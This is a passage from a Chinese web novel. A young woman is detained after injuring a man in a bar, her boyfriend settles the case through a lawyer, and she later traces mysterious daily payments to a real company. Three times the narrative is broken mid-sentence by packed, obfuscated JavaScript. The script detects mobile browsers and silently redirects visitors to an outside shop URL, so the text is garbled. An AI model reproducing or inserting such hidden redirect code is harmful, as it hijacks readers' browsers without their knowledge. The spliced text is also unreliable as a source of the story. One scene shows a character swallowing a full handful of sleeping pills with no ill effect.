曾凌云记下了名字,没有问她为什么改姓。派出所的人肯定司空见惯了,父母离婚后孩子改随母亲姓是很常见的事,不常见的是她父母离婚的原因:许明洲,美院雕塑专业毕业,在国际学校任美术教师,颇有点“怀才不遇”的意味,但有崇拜他、爱他的妻子和女儿。婚后第十四年,许明洲和同校另一位老师偷情,在对方家里幽会,对方丈夫发现,抄了把水果刀要和许明洲拼命——他大概不知道许明洲雕刻刀耍熟了的。争斗中,许明洲抢过刀,捅到丈夫大动脉,致其当场死亡。许明洲因故意伤害罪被判15年有期徒刑,离婚时,他在看守所里。 事情的梗概和细节都没人告诉季桃,但不知怎的,还是叫她知道了,那年她十三岁。 出轨是没责任心,道德低下,杀人是犯罪,重罪。世上有千万个人出轨,杀人犯的数量则少得多得多。可是,一直以来,季桃更想不通的都是父亲为何会背弃家庭,而非他怎么能杀了人。 可能因为,伤人、致人死亡,有时就是一瞬间的事。 季桃低着头,回答了出生日期、身份证号等问题。 “知道为什么带你来派出所?” 季桃不说话。 “你今天在酒吧和人发生冲突了吗?” 季桃非常轻地嗯了一声,说:“我头有点儿晕。” “当时头晕?” “现在。我头晕,回答不了问题。” “喝了不少?”李胜问,看看曾凌云。 曾凌云问:“在酒吧时,在对方没有任何异常举动且没有碰到你的情况下,你突然敲碎酒瓶,并用碎了的瓶子击打对方头部。事情经过是这样吗?” 季桃还是不答。就在这时,听见了外面邹巡的声音,他向警察打听,问季桃是不是在这儿。 39. 家人 我在呢。季桃想答应,可是开不了口,她的嗓子一下哽住了。她依然低垂着头,不敢看对面两位警察。 邹巡很客气地和值班室的警员招呼:“你好,警官,辛苦,辛苦。我想见一下季桃,麻烦了。” “你是她什么人?” “我是她男朋友。” “你在外头等一会儿,我们还没问完。” “是,是,你们办案辛苦了。我能不能先和她说几句话,就几句。” “李队长。”外面喊。 李胜起身走出去,一边说:“别等了,早着呢,一直不吭声,嘴巴硬得很。” “您好,李队长,麻烦了。”邹巡又朝李胜问好致歉,“实在对不住,她嘴巴不硬,可能是吓坏了,小女孩儿,胆子小。” “快打出人命了,还胆子小?” “那不会那不会。”邹巡一面否认,一面附和地笑了两声。要是他抽烟,身上带着烟,这会儿该给李队长点上火了。噢,不对,这里禁止吸烟。于是,季桃想象中,缭绕的烟雾一下子散尽,邹巡露着一张极其恳切、逢迎讨好的笑脸。 其实,她从没见过邹巡那么笑。对她的朋友,他面带尊重友好的微笑,对不太熟悉、不太相干的人,如果他笑,则是笑得淡漠、疏离。而这时,笑容像蜜一样渗到他嗓子里了,他甚至和警察开起了玩笑:“人命不可能,她没那么大力气。” “都进医院了,不要以为是闹着玩的。” “不会不会。”邹巡热切地应道,“对方什么伤我们都负责,肯定负责,一定给他治好。” “经常打架?看着挺文气,打人还挺猛。”李胜的语气稍微好了些。 “没有,没有,她一直都文气,从没有打过架。” “不像啊,人家也没怎么着,她就下了狠手,不能因为自己是个女的就随便打人啊。都上过学,受过教育的嘛,一点儿守法意识都没有。” “是,是,打架确实不对,回去我好好跟她说。” “邹先生。”外面又响起一个女士的声音。 “你好。”邹巡招呼一声,说,“这是我女朋友的律师,麻烦让她们先见一下。” 律师说:“委托书在这儿。” 一阵脚步,季桃刚抬起头,邹巡走进来,目光迅速将她全身上下扫了一遍,然后,对上她的眼睛,鼓励地一笑,指着身后的女士说:“这位是陈律师。你不用着急,由她来处理相关事情,你在委托书上签个字吧。” 季桃没吭声,签了字。陈律师征得警察同意,把季桃带到一边。 邹巡跟过来,轻轻按按季桃的肩膀:“没事,有什么都可以告诉陈律师。”就一句话,说完他就走开了。 陈律师从包里掏出本子和笔,说:“不录音,有些关键信息我会记一下。”她的声音低而稳,不快不慢,听着很让人安心,“季小姐,请你把经过尽可能详细地告诉我。警方这边不要紧,我们主要和对方——他叫崔喆,是吗——我们和他来谈。我的同事已经去医院了解情况了,我们也会根据他的伤情制定策略。” 季桃便将去酒吧后的所有事情、包括崔喆说的每一句话都告诉了陈律师。 “我当时觉得他好像要来拉我。我不能确定,但是我很害怕,我不想让他碰到我,所以就……就拿酒瓶打他。我忘记酒瓶碎了,我没太留意,——不是我故意碰碎的。” 陈律师点点头,问:“你想不想告崔喆意图强|奸、猥亵?” 季桃吓了一跳。“不……没有吧。”她结结巴巴说,“他应该……不会。”虽说当时只有他们两个人,但毕竟是酒吧的营业区域,公共场合。她觉得崔喆并没有那些企图,她不知道自己怕什么。此时回想,当时的恐惧是无根无据的,而由此做出的反应是过激了。 “那么季小姐同意和他达成谅解?”陈律师问。 “我……我同意,但是他不愿意呢?” 陈律师收起纸笔,语调中少了一点“律师”、加了一点“朋友”的感觉,她说:“酒吧监控没有拍到房间里的情形,崔喆说什么,都是一面之词。他是男的,熟悉酒吧,并且他的同伴在附近,而你身处一个陌生的地方,又不知道你的同学去了哪里,对方还使用了猥亵、并含有威胁性的语言,你完全有理由害怕并想要保护自己。” “那一会儿警察问我就这么说,说我因为太害怕才打他?” 陈律师摇摇头:“没必要接受警察讯问。我和他们说,等制作好调解书,你签字就可以。” 回到刚才的办公室,邹巡还在和几个警察说话,神色恭敬,陈律师过去交涉,他便走来季桃身边。季桃只顾盯着李胜,无知无觉地被邹巡握着手。李胜说:“最多二十四小时,急什么?先等着吧。对方明确不接受调解,如果达到轻伤等级,就是刑事案件。等明天伤情鉴定出来再看。” 季桃不由转向邹巡。“不要紧。我肯定带你回去。”他说。 “我们有人过去了,伤了眼睛,轻不了。肯定要拘留,咱们就是走的法律程序。”李胜又说。 是啊,伤了眼睛是很严重的伤,任谁也知道,都不用了解伤情鉴定标准,季桃想。她不是故意要戳他眼睛,但她爸爸也不是故意要杀死人。结果反正是那样。 事到如今,想到看守所,她并不觉得可怕。可是,如果外公外婆舅舅、还有妈妈,如果他们知道她也…… 季桃茫然地望着陈律师和几位警察。陈律师的手机好像响了,她做了个道歉的手势,走到旁边接电话。李胜也掏出手机看看,脸色更加严肃,“贺局长……”他接起电话说。凑热闹一般,值班室的座机铃声响亮地响起来。一时间,大家都在讲电话。 邹巡拉季桃出来,站在派出所大厅角落里,搂住她:“没事了,我们先等会儿,马上就可以走了。” “要是他真的受伤很重……” “那是他活该。”不等她说完邹巡就说。 “他们会告诉我家人吗?” “我是你的家人。”邹巡说,“我知道就行了。” 季桃看看他,头又蹭进他的怀里。 邹巡抱着她,那个柔软的、小小的身体在他臂中一颤一颤。她怎么这么小,这么薄,像片羽毛一样。可是这小而轻柔的身体把他弄疼了,他的胸口一阵疼痛,好久才发现,是她的额头用力向他胸膛顶。 她是在点头,邹巡想要说话,嗓子却被什么东西堵住了。他哑着声音说:“我是你的家人。我们马上就结婚,好不好?” “季桃,你答应了吗,季桃?” 邹巡把季桃推开一些,要去看她的眼睛。她的眼闭着,头也弯下去,软软地倒在他手臂上。 季桃醒了。她像只海龟般划动一下摊开的四肢,慢悠悠张开眼睛。 是白天,蓝灰色遮光窗帘没拉严,透进一道日光,略微有些刺眼。季桃闭了一下眼睛,再睁开:身上覆着一层洁白、轻柔的被子;窗边的圆几上,有一只细高的玻璃瓶,里面插几枝淡粉的马蹄莲。 季桃猛地掀开被子,坐起来,身上穿着长袖长裤的睡衣,朴素的日式风格,浅蓝底,绘着线条简单的小鱼图案——是喜欢的式样,可她并没有这么一身睡衣。 她跳下床,脚下的地毯好像一片幼细的沙滩。 谁给她换的睡衣?谁带她来的酒店? 记得的最后一件事是趴在邹巡怀里。他在喊,季桃,季桃,你怎么了?没怎么,困死了,让我睡会儿。她答。 “邹巡——”季桃喊了一声,声音在宽阔的房间中显得软弱无力。无人答应。 她不及穿鞋,走到门前,抓住把手,猛一拉。 邹巡和另两个三十来岁的男人在面对面的两条沙发上坐着说话,听见声响都转过头。邹巡马上起身大步走进屋,门在身后掩住,“你醒了?”他摸摸季桃的头发。 “那是谁?”季桃不安地看向门。 “我们公司刘总和一个同事。等等,我和他们说一声。” 邹巡走出去,季桃刚穿上拖鞋,他返回说:“好了,他们走了。” “我们怎么在这儿?” 邹巡笑着说:“你昨天在派出所就睡着了。我想着让你好好睡一觉,这里近,就过来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067538|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在怎么样,睡好没有?” “我睡了多久?” 邹巡掏出手机看了看:“现在是下午三点四十六。” “我的手机呢?”季桃说完,才想起手机昨天被警察没收了。 “我拿着。”邹巡从另一只兜里摸出手机递给季桃,“我怕别人打电话找你,把你吵醒。” “有人……找我?” “没有。就是你那两个同学,我和她们都说了。你待会儿再跟公司请个假,多请几天,——要不我替你请,还是我来吧。”邹巡先端杯水给她,然后拨电话,客客气气对那边说,“颜总你好,我帮季桃请个假,下周她可能去不了公司……有点不舒服……没事,不大要紧……谢谢。” 季桃在窗边坐下,窗外是一片淡蓝的天空,某金融中心的地标高楼矗立在斜对面,往下看,现代城市建筑鳞次栉比,不知是不是高度的缘故,漂亮得有点不真实,像电影布景。邹巡从后面俯身,搂住她的脖子:“饿不饿?” 季桃在他胸前摇摇脑袋:“我们什么时候回去?” “不着急,就先住这儿吧,方便些。” “什么方便?”季桃畏缩地问,“是不是我还要去……” “不用,不用再去。你放心,肯定不去。”邹巡的语调温和又有力,“在这儿是因为我要和公司的人开会,这几天会多,同事可能经常过来,我还得接电话,在家会吵到你。” “你去上班吧,我没事。”季桃笑笑,希望自己显得坚强些。 “就在这儿上班,今天的活都干完了。” 季桃低头看看自己,不安道:“你们领导来,我还这个样子,太不好意思了。” “你说刘总?不好意思的是他,要不是他事情做不好,非得我去加班,也不会让你一个去酒吧——” “是我自己要去。”季桃打断,“怎么能怪刘总?” “谁也不怪。你不用管他。——反正我就在这儿上几天班,算市内公差,公司出钱。你随便,想干什么就干什么,缺什么东西,我找人买。或者你想出去走走也行,衣服在柜子里,我请人随便买了几件,先凑合穿吧,等去商场,再挑你喜欢的。” 季桃红着脸笑:“刚才头也没梳,鞋也没穿,乱七八糟跑出去,肯定被你们领导和同事笑死了。” “他们不会。再说,很漂亮的,不信你看看。” 邹巡抱起她,抱到妆台前,季桃匆匆一瞥:还算整齐,就是脸色很白,两颗眼珠倒是深得不得了,披着头发。 “原来你喜欢女鬼造型。”她勉强笑一笑,挣下地,低头看见一只塑料小盒内,放着蓝色、白色、几粒糖豆一般可爱的小药片。 “这是什么?”季桃问。 “医生开的,说可以帮你休息得好一些。不过你一直在睡,我就没叫醒你吃。” “医生?”季桃这才记起,迷迷糊糊中,好像是和一个白大褂说过话,当时她求对方开点药,想睡一整天。“什么医生?我怎么了?” “昨天晚上请医生给你抽了血,都是例行的,看看酒精浓度,有没有摄入药品。——我们担心是不是给你下了药。不过化验结果都正常,轻微醉酒,医生说你要是睡眠不好,可以吃这些药。” 季桃呆住。在酒吧时,她的神志是清楚的,她自己也能感觉出这一点。她到底出于什么理由把崔喆打伤呢?如果没有理由,那她是有什么毛病吗?如果崔喆真没过错,怎么可能接受调解? 邹巡注视着她,忽然上前,一把抱住:“对不起。我知道当时你害怕,但是现在别怕,不用怕,都好了。” 季桃想:他为什么要自责?并不怪他,一点儿都不怪。只不过是他的女朋友倒霉,刚好碰上崔喆那个恶心家伙罢了。 同时,她又感到邹巡确实有过错,不是因为之前他不肯理她,而是因为现在他抱着她,好像她从来不曾惹出任何麻烦一样。 脸贴在邹巡胸前,闻着他身上好闻的味道,季桃使劲咬住颤抖的嘴唇。他要是骂我一顿就好了,她想。 她推开邹巡:“我有点儿饿了,有什么吃的?” 40. 投诉 他们去酒店餐厅吃下午茶。邹巡把昨天的事详细告诉季桃:一开始,民警对崔喆的伤势不大清楚,担心可能是刑事案件,因此将季桃带回派出所。其实崔喆伤得并不严重,但他故意使坏,一直大喊大叫说眼睛疼,看不见东西。去医院后,急诊医生为他处理了伤口,又冲洗了眼睛,并未发现眼球受伤、框内出血等损伤,只有眉骨上方划破的轻微外伤。民警得知这些情况后,便允许季桃先回家,若后面有需要再去。 “不过咱们不用去。再吃一块。”邹巡拿柠檬挞给季桃,“陈律师会和崔喆谈,谈好了把谅解书送来给你签字。” 季桃抬眼看着他:“要怎么样他才同意谅解,他要很多钱?” “你想要多少?”邹巡捏捏她的手指,“是他赔你。” “不是他受伤了吗?”季桃震惊道。该不会真要告崔喆猥亵罪吧,有什么证据? “是他害你受惊吓。”邹巡语气冷酷。季桃去看他表情,但他扭开脸,不让她看见,“他就留几道疤而已,都谈不上破相,本来就丑。只让他赔钱是太便宜他了。” “我也没事,当时有点怕,现在好了,不会留下心理阴影。”季桃笑了笑,解释道,“我不知道为什么会打他,我就是讨厌他,没别的。” 邹巡对她点点头:“没关系,我也想打他。没别的,那货就是欠教训。早知道上回就应该报警,或者当场我就揍他一顿,揍到他记住为止。” 季桃想起上回在古镇崔喆那幅嚣张蛮横的样子,眼中闪过厌憎的暗影,邹巡急忙说:“那就让陈律师看着办吧,是多是少反正崔喆得赔,帮他长长记性。” 季桃犹豫一会儿,说:“我不想要他的钱。” “不要。”邹巡说,“你可以捐出去。” 邹巡在酒店办了两天公,季桃发现他还真是个大忙人。她坐在阳台上晒太阳,看邹巡在屋内打电话,走来走去。有时他坐在桌前开视频会议,有时同事或不知什么人来找他,邹巡便去酒店会客区与对方见面,一杯茶的工夫又回来。电话和会议的间隙,他出来露台陪一会儿季桃,把她的手包在自己掌心里:“还是有点儿凉,进去吧。”他说。 季桃站起身,却将他推开:“你去忙吧,我看会儿电视。” 其实她并不想看电视,不过是抱着抱枕坐着发呆,等听见邹巡过来时,才急忙将眼珠转到屏幕上,假装看得津津有味。 她来了姨妈,身体惫懒、情绪低迷都是正常的,要不是怕邹巡担心询问,她可以睁着眼在床上躺二十四小时。 在酒店第三天下午,陈律师带着助理过来,请季桃签谅解协议。 上面写的赔偿金是十八万。 “我们不想要他的钱,所以没多要,让他象征性赔一些。”邹巡对季桃解释。 季桃点点头,签了字并按下指印,陈律师的助理在旁拍了视频。陈律师已经开列了一份公益机构的名单让季桃挑选,季桃勾出几个,请陈律师帮忙,将扣除律师费后剩下的钱全部捐出去。 “我还有别的事要问陈律师,你先自己待一会儿。”送客人出门时,邹巡对季桃说。 季桃给妈妈打了个电话。妈妈带点歉疚地告诉季桃,最近回过国,回家里看了看。季桃一愣,妈妈大老远回国,却不肯见见她的女儿。随即她又想,做女儿的已经长大成人了,有许多事确实也不愿家人知道,于是她掩住伤心,问妈妈外公外婆是不是都好,母女两个开开心心聊了一会儿。 放下手机,季桃感到轻快了些,可是想到邹巡,她的心又像浸了水的海绵,湿哒哒、沉甸甸的。 昨天晚饭前,邹巡陪她一起看电视,挑了个恐怖片,因为季桃喜欢看恐怖片解压,就是不敢一个人看。 尽管嘴里说“这会儿有空”,但女主还没进入诡异幻觉,邹巡的工作电话已经响了五回。两个他按掉了,一个接起来便道:“你决定就行。”另一个他听了几秒,不高兴地打断:“不用说了,什么时间,要他给个准话。”最后一个则凝神听对方说了五分钟——季桃晓得肯定是技术方面的问题,要是别的事,他早就不耐烦了,最后,他说:“麻烦你拉个会,叫上陈林他们组几个人。” 他抱歉地看季桃,她说:“没事,我看我的,你别走开就行。我看字幕,你声音越大越好。” 于是他搂着她开会。轮到他讲话时,语速很快——他平时说话也不慢,但没这么快,季桃听着有点奇特;有时可能被对面打断,他便客气地停下来,更为细致地解释,语速依然快,但十分耐心的样子。季桃莫名感到踏实,却又不自禁向他身上紧紧地靠了靠,邹巡用力揽她一下。 会议一直开到电影结束才结束,末了问她:“这次好像没怎么害怕?” “当然了!”她笑着说,“这是最不害怕的一次,要是怕了我就听你讲电话——你知道吧,科学思维是对付恐怖的最佳武器。” 又问:“你平时在公司都像这样?” “差不多吧。”邹巡答,赶快又说,“不不,最忙的时候这样,平时还好,你想说话随时找我。” 不知他是不是实话,反正她是——电影的确看进去了,可真的不感到恐怖。所以也就没起到“解压”的作用,压力反而更大了。她想:是错怪了邹巡。之前,他对她冷淡的敷衍其实并非故意,而是如他所说,因为工作。工作那么忙,忙到说话都开了倍速,他还得抽空照顾她、关心她。 自己实在太没用了,只会给别人添麻烦。 可能邹巡不觉得麻烦,只感到负疚。他的负疚使她负疚更深。但是,两个人要走下去,不能只靠歉疚啊。 半个多小时后,邹巡回来了,季桃还是闷闷地坐着。 邹巡在她身边坐下:“现在有空了,咱们出去转转吧。” 季桃摇摇头:“对不起。”她说。 “季桃!”邹巡责备地喊一声,“你又不把我当……”后面的话他没说完,将季桃的脸抬起来吻她。 “好了,没不把你当流氓。”季桃笑着躲开,“你问陈律师什么?” 她只是随便找句话,邹巡却犹豫了片刻才开口:“挺巧的,那天崔喆去医院,正好高恒在眼科轮转,那晚值班。崔喆不是声称眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073638|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛受伤吗,急诊大夫就把高恒叫去给他检查。高恒没查出问题,但崔喆非要逼着他在诊断书上写‘眼球受损可能,建议复查’几个字,高恒没答应。” 季桃看着邹巡:“要是他写了,是不是那天警察就不会放我走?” “那倒不会,我肯定能把你带回来。再说警察也不是吃干饭的,迟早要查,除非崔喆敢自残,不然到哪里他的眼睛都是没伤。不过,要真是在诊断上写了,当天晚上可能得多费些事。”邹巡承认,“所以,确实多亏高恒帮忙。” “他知道是我?”季桃很惊讶。 “不,不,我意思是说他无意中帮了忙。好像是崔喆和他同伴说了什么话,高恒听见了,明白那货不是个东西,所以坚持不肯按他的意思办。咱们的律师过去问,当时也没提你的名字,后来跟我说高医生,我才晓得。——但是律师建议,假若院方调查,你和高恒认识,恐怕不太好,所以我们暂时装作互相都不认识。前两天没告诉你,是怕你白白担心。” 真是巧,而且,高恒也瞧崔喆讨厌啊。起初,季桃有几分好笑,又感到心里暖暖的,可是听邹巡说到后面,她的神情变了。“医院为什么要调查?” “崔喆一开始还不服,第二天他找医院领导投诉了高恒。” 季桃着急地问:“投诉什么?他不是没受伤吗,诊断又不是乱写的。” 邹巡想了想说:“我对医院的事不太懂,我估计是这样:崔喆想要的那句话在诊断书上可写可不写,不过从医生角度来讲,诊断下得谨慎一点儿并不算错,但是高恒一口咬定说绝对没有危及眼睛,话说得很强烈,语气比较冲。当时崔喆同伴在旁边,把高恒的话录下来了。单看那段视频,要是传播出去,对医院的声誉可能会有点儿影响,毕竟医患矛盾是比较敏感的问题。”他稍顿了顿,“高恒刚好又是规培医生。” 季桃垂下眼睛,轻声问:“现在高恒知道是我了吗?” “知道了。”邹巡说,“我今天给他打过电话。我说你这边已经没事了,崔喆的视频也不用担心。院领导那里,我们再想办法,争取不让高恒受批评。” 季桃点点头。“要是他们领导非不讲理,大不了去别的医院。”她仰起脸,轻松地说,“好医院那么多。” “对。”邹巡拿起季桃一只手握住,“等过两天我们和高医生见一面,好好谢谢他,再问问……” “怎么谢?”季桃打断说,“要是害他在医院待不下去,光谢怎么够?我得报答他,又没别的法子报答,只好以身相许嫁给他了。”清甜的嗓音中夹了一星沙沙的哑音,要不然,她的语调简直如铃儿般丁零当啷、清脆松快。 “季桃!”邹巡甩开她的手,这回才是他真正生气时的冰冷声音,“你是认真的?” “当然不是,我开玩笑的。”季桃垂下头,把脸埋在胳膊里。过了一会儿,从胳膊肘边传出压抑住的、轻得几乎听不见的、一抖一抖的啜泣。 邹巡用力把她拉起来,拽到自己身上。“好了,好了,别哭了,傻瓜。好了,都没事了,季桃。”他抱住她,低声说。 41. 无尽星辉 晚上,季桃躺着,好久没有睡着。邹巡躺在旁边,不出声,但季桃知道,他也没睡着。 她忽然开口:“上次和高恒去喝酒,我是因为心情不好才喝多的,说那些话也是为了气你。”邹巡转过头,季桃羞愧地笑了笑,不知这个笑他能不能看见,“高恒本来是想请咱们两个,我正好没事干,就跟他说我去。本来只吃饭,去酒吧是我的主意,因为突然想喝酒,硬拉着他去的。你别怪他。” 邹巡伸出手臂搂住季桃,慢慢地收紧,一点点把她拉到怀里。“当然不会。”他说。 她为什么心情不好,邹巡没问。他大概认为,是“怪我”。季桃不想他再负疚,可是,又该从何讲起? 她的心咚咚地跳。她没法一五一十“坦白”,除非从头讲起,从初中讲起。 就是说不出口。 或许还不到时候。何况,这几天邹巡太累了,他总是在听人说话,在电话里听,在视频会议中听,面对面地听,他还得听律师和他沟通情况,商量案子调解相关事宜。 还是休息吧,快睡着。 越是这么想,越睡不着。季桃轻轻从邹巡怀里翻出来,全身不动,放缓呼吸,坚持了一会儿,没有用。 又等了好久,觉得邹巡像是睡着了,她悄悄坐起身,脚正要摸鞋,邹巡问:“怎么了?”他的声音毫无倦意。 季桃不好意思地说:“睡不着,可能前两天睡得太多。”她打开灯,走到梳妆镜前,“你说这些药,可以帮我睡得好?”她把那些洁净可爱的小药片全部倒入手心。 “医生是那样说,不过……” “全吃了没事吧?”季桃打断问。 “应该没事,但也没……” 季桃已经端起水杯,将药片一把吞了。 “没什么?” “没必要。”邹巡说,“没事,吃就吃了吧。” 季桃重新躺下,邹巡又将她搂住:“想不想说会儿话?” 季桃摇头。几分钟后他又问:“怎么样?有什么感觉?” “感觉有点儿怪。” 邹巡坐起身:“我打电话问问。” “不用。你别大惊小怪。”季桃抓住他的胳膊。“其实没什么感觉,我觉得我能睡着了,你别动。” 她感到自己像一片叶子,从空中向下飘,慢悠悠荡着。不难受,只是周围没什么东西好看,怪无聊的。 “睡着了?”一个声音飘到她耳边,痒得她发笑。“睡着了。”她半笑半埋怨。 “你要是没睡着,我还有句话想说。” “嗯。”季桃迷迷糊糊地答应。正好,她不是也有话吗。 “季桃,咱们要在一起,你答应的。” “不行,你不知道……” “不用说,我都知道。但是我要和你在一起。”他坚持道。 季桃还想再说,可不知从哪儿伸出一双手,将她捧起来,一直捧进云朵深处,她就把话忘了。 她躺在云朵上,躺在他怀里,两个人一起飘浮,也不知是往哪个方向。最后,一张又黑又温暖的羽毛帐子落下来,睡意终于把他们整个儿兜住了。 在酒店住到周末,邹巡问:“你喜不喜欢这儿,我们可以继续住着。” 季桃摇头:“我想上班了。” “可以从这儿去上班。” “我不想在这儿,我们回家吧。” 邹巡看着她:“好,回家。” 还是家里好,一进屋子,在床上蹦了蹦,季桃感觉真正“复活”了。 不过意地对邹巡说:“我以后再也不去酒吧了。” “去,为什么不去?我陪你去。” 季桃摇摇头:“我不想再喝酒了。” 邹巡看着她:“不想喝就不喝,也可以只玩不喝酒。你还想不想去上回那个?” “不着急,你先忙完这段再说。” 邹巡最近确实非常忙,好像是到了项目的交付阶段。不过,周末还是能休息一两天。窦意鸣拨来语音时,两个人正在看电影,季桃拿起手机,邹巡瞄一眼,电影按了暂停。 窦意鸣喊叫:“季桃你没事吧?” “没事。” “对不起啊,我才听见。你没事就行。” 接着,窦意鸣咆哮出一串脏话,骂得太难听了,以至于季桃不得不把手机举得离耳朵远一点儿。 响亮的咒骂声劈里啪啦从手机中溅出来,邹巡肯定也听见了,季桃看见他咧了咧嘴角。 邹巡起身,揉揉季桃的头发,走出屋子。 窦意鸣总算骂完了,停下说:“反正你别怕,这下他完了,他那酒吧查出来有好多问题,营业执照都吊销了,现在不知道他在哪儿躲着呢。躲之前,他爸给了他一顿好打。真的,我听人说了,真打了。他就怕他爸,保准他以后见你都得绕着走。不过我跟你说,这些都不算,等我回去,把他找出来,还要再收拾他一次。” “你放心,季桃,这回我真看明白了,从此后我再没哥们了,一个都没有。”过会儿窦意鸣又说,“除了你和大哥。” 季桃有点想哭。 窦意鸣这个电话,仿佛是将崔喆事件的最后一丝阴霾从季桃心头除去了。她感到自己又变得像松鼠那么轻快,回到了以前。 不过,她和邹巡的关系还是有点儿怪。现在,不像大学时那样,走在路上,一会儿跳在他右边,一会儿跳在左边,不管哪边,总要紧紧抓住他的胳膊;也不像刚收到真爱奖时,“Merrily,merrily,merrily,merrily,lifeisbutadream”;当然,更不像前一段。 现在,怎么说呢?反正现在也挺好。季桃想,自己成熟了。以前是想太多,钻到牛角尖里面了,搞得自己不快乐,邹巡也不快乐。其实,一切不是好好的吗。已经请了不少假,该收收心,好好上班了。 . 又是一个邹巡要加班的周六,两人一起吃完早饭,邹巡去公司,季桃闲着无事,忽然想起去算算帐。 她备好纸笔,打开银行软件,账户余额是一百六十一万多。增长的可真够快呀。虽然季桃早已经习惯了每天收到奖金,但习惯的结果是:收到的钱就让它躺在账户中,难得去看它一回。所以,突然见到这么长一串数字,对季桃这个工作不满半年的人来说,自然有些惊异。 她想,说不定邹巡也会惊讶。 遇到神明至今,已经快半年了。这半年中,两人共同生活的差不多所有开销依然是由邹巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073639|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负担,而且邹巡还像过去那样,时不时买件什么东西送她,还给她换了新笔记本。她说:“我来付吧。”意思是用神明的钱,邹巡总拦着。 他说:“你买你自己喜欢的,想买什么就买什么。”有时还问,“够不够用?”好像她能花掉那么多似的。但她究竟买了哪样东西,用了多少钱,邹巡从不追问。本来嘛,花不花钱、花在哪儿是随心所欲的事,被人监督着花钱和被人监督着不花钱同样难受。 从这点看,邹巡真正大方,不婆妈。 因此,她更加不过意。她知道邹巡的薪水和奖金挺高,而且最近他负责项目,收入更多了些,但“真爱”奖金就是一人一半,半年了,拿出来分一次,是应当的。邹巡不“监督”她,她可以“监督”邹巡,哪怕让他搞点理财呢,总比一股脑扔给她不管了强。 季桃这样想着,预备先算算自己到底花了多少钱,打开收支明细,第一眼她就愣了,揉了揉眼睛,再去看。 本月收入138365.90,除去工资那笔,每天都有一条记录:无尽星辉有限公司+¥10000.00 这不对吧,之前不是没有明细记录吗,莫非现在神明改进了? 做这条改进什么意思,莫非神明发现她删短信,为了“留证”,加上了无法删除的明细记录? 这些神明,还挺严肃认真。她得奖金的都懒得天天盯着看了,都没怀疑可能漏发,他们发奖金的却还一丝不苟。当然了,可能不用费他们多大劲,所以做得像模像样。 季桃瞧着无尽星辉有限公司几个字想笑,无尽星辉,有限公司,神明蛮有幽默感,这几个字组合在一起,怪有趣。 邹巡也怪有趣,当初一听到公司名就去查,说不存在这家公司。 假如将来有人注册同名公司呢?假如将来她和谭一伊开公司,能不能用这个名? 鬼使神差的,季桃登录企业查询系统官方网站,输入无尽星辉有限公司。她差点不敢相信自己的眼睛,居然有结果!出来一条公司信息,无尽星辉有限公司,注册日期是今年9月24日,公司法人叫做冯玲兰。 一家刚成立不久的公司,经营医疗上使用的康复训练设备。 放下手机,季桃呆了一会儿,又一把抓起,向前翻收支明细。明细中头一次出现无尽星辉有限公司是在九月,九月二十五日。有这么巧的事? 再翻,再翻,确实是九月,前面六七八三个月——神明出现是在六月——奖金只在账户余额中体现,本月收入中不包含,而九月的总收入是六万八千三百六十五,她的工资,以及二十五日起,每天收到的一万元,六天共六万。 真有这么巧的事,神明改进改进出一家公司?醒醒吧,季桃。 冯玲兰,这个名字好像在哪儿见过?季桃打开搜索页面,输入冯铃兰。 冯铃兰的信息很多,不过,季桃一下子就排除了同名同姓,找到了要找的那个冯铃兰——硕士学历,毕业于J大。 不断往下滑,直至看见一则三年前的旧新闻。冯铃兰捐款为J大建了游泳馆,点开,里面有她和学校领导的合照。 冯铃兰,认识的人,窦意鸣的妈妈。 冯女士。 冯女士? 冯女士! 42. 于连 季桃镇定下来。还是有可能是巧合。她从抽屉取出身份证和银行卡。 周六,银行办业务的人不少,排了几个号,终于轮到季桃坐上柜台前的转椅。“请给我打今年六月一日起的交易流水。”她说。 拿到单子,季桃就坐在银行里,先看9月25日那一行。是了,从这天开始,每天都有一万元存入金额,来自无尽星辉有限公司转账;这天之前,则没有。她又拿出手机,开始对着看。 第一条记录是6月3日的网购支出,与APP上显示相同,但打印出的流水单上,那一行末尾的账户余额是很大的数字。很快,季桃想明白了,这是神明做的手脚:柜台打印的账单上,不能体现出每日“真爱奖”入账,那如何凭空多出这一笔钱?神明的办法是把全部奖金放在第一笔明细之前,之后都是正常收支,最终的余额总数也对得上。她怀疑,如果从一月一日起打印流水,也是同样的效果,总之,钱在你账户里,看得见,就是看不出是哪一日,从哪儿来的。 季桃没有再上柜台验证。已经差不多清楚了:神明的奖金共计九十万多点儿,也就是说,在九月二十号之后一两天停止;而从九月二十五日起,冯女士的公司每天转一万,到今日正好是八十万。 